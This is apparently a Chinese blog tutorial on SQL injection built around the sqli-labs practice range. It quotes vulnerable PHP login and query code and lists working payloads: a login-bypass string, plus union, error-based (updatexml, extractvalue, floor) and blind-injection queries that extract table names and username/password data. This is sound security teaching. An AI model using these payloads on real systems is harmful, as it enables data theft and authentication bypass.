SQL注入
原理:
用户输入动态的构造了意外sql语句,造成了意外结果使得攻击者有机可乘。(将sql语句插入或添加到应用参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。)
两个关键点:
①参数是用户可控
②传递到服务器后会和数据库进行交互。一般情况下会有get类型注入、post类型注入、http头部注入。
形成的原因:
①程序员在处理程序和数据交互时,使用字符串拼接的方式构造sql语句
②未对可控参数进行足够的处理便将参数添加到sql语句中
危害:
①数据库信息泄露
②网页篡改
③网站挂马
④数据库被恶意篡改
⑤获取webshell
注入分类:
数据类型分:整型和字符型注入
注入语法分:基于布尔的盲注、基于时间的盲注、报错注入、联合查询注入、堆查询(拼接查询)注入
SQL注入思路:
01、判断漏洞类型(字符型和数字型)
02、爆库名
03、爆表名
04、爆字段
05、爆数据值
万能密码:username: 1' or '1'='1password: 1' or '1'='1
手注模板:
id=1 #判断注入点
id=1' #判断注入点
id=1' and 1=1 #判断注入点
id=1' and 1=2 #判断注入点
id=1' order by 3 --+ #判断字段数
id=-1' union select 1,database(),user() --+ #查询库名与用户
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ #查询表名
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+ #查询字段名
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails ) --+ #查询数据
SQL注入分类:
SQL注入可分为字符型和数字型,其他类型都是这两大类的不同展现形式和不同展现位置。也可分四种,分别为:union联合注入、Boolran布尔盲注、time时间盲注、报错注入。
数字型猜测SQL语句为select * from table where id=8
测试语句
id=2 #原始请求
id=2' #页面出现异常,则进行下一步测试
id=2 and 1=1 #语句执行正常,返回数据与原始请求无任何差异
id=2 and 1=2 #语句执行正常,但无法查询出数据,and1=2始终为假,所以返回数据与原始数据有差异
以上测试都满则可能存在SQL注入漏洞
字符型猜测SQL语句为select * from table where username='admin'
字符型注入要注意字符串闭合问题
数据库不同,字符串的连接符也不同,如SQL Server连接符号为+,Oracle连接符为||,Mysql连接符为空格。
01、Union注入
mysql中允许复合查询(多个select语句并列查询),并返回单个结果集。
select username from admin union select password from admin;
Union规则:
union必须由两条以上select语句组成,语句之间用union分割
union的每个查询必须包含相同的列,表达式等
使用union语句只能用一条order by语句,且放在最后一条select语句后面
代码分析:
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['address'];
echo "<br>";
}
?>
这里11行直接将前端输入的参数id拼接到了sql语句中,这样的话,可以构造变量id=1 union select 1,2,3,后端用来查询的语句就变成了select * from users where id =1 union select 1,2,3
02、Boolean注入
布尔盲注就是猜测,查看前端页面返回的true或false来猜测数据库长度,数据库名字,数据库内容,猜测表和字段。需要用工具去跑,速度最快的方式sqlmap
布尔盲注常用的函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
代码分析:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>
id参数的值写入txt文件中,然后result时mysql_sql执行sql语句的结果,$row是mysql_fetch_array生成的数组,从前端输入参数id,后端查询数据库,该盲注不显示报错信息,只在成功时显示,失败是不显示
03、时间注入
时间注入判断的原理也是猜测,采用延迟函数根据页面反应的时间进行判断是否存在注入点。
延迟注入函数:
sleep #延迟函数benchmark(count,expr) #count:运行次数 expr:运行的命令 通过多次运行产生延时笛卡尔积 #count(*),通过计算表中数据的数量产生延迟
get_lock(str,timeout) #对一个字符上锁,在新回话开启后,再次使用这个字符会有延时
if(condition,true,false) #条件语句if表达式:if(expr1,expr2,expr3) #expr1为条件,expr2和expr3为返回值。和if判断语句一样
代码分析:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>
第37行和45行表示,不管对错都会显示。
04、报错注入
报错注入是利用数据库的报错机制,人为制造错误查询,使得查询结果出现在报错信息中。
基本思路:判断是否存在漏洞id=1',看报错情况,构造错误语法进行闭合,爆库,爆表,爆字段,报数据
报错注入相关函数:
updatexml(Xml_document,Xpathstring,new_value)
Xml_document:目标文档
Xpathstring:路径
new_value:更新的值
爆数据库名:
username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆数据库表名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+
爆字段名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据值:
username=1' and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+
extractvalue(Xml_document,XMLstring)
Xml_document:目标文档
Xpathstring:XML路径
爆数据库名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+
爆数据库表名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) --+
爆字段名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'))))--+
爆数据值:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+
floor()函数
爆数据名:username=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
代码分析:
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
$sql = "select * from users where 'username'='$username'";
if($result = mysqli_query($con,$sql)){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
第14行,mysqli_error会打印处数据库抱错的信息
05、堆叠查询注入
堆叠查询也可以称为多条语句拼接查询,每条语句中间用;隔开 (该方式毫无限制)
堆叠查询可以在登录输入密码的时候向数据库中新添加个新用户,完了就可以登录新用户了,具体可以去做sqli-labs-master靶场
代码分析:
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
可以看到 $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];用户名处进行转义,但是密码出不存在转义,直接POST提交了,造成了堆叠注入
未完待续~下午更新web漏洞—SQL注入(下)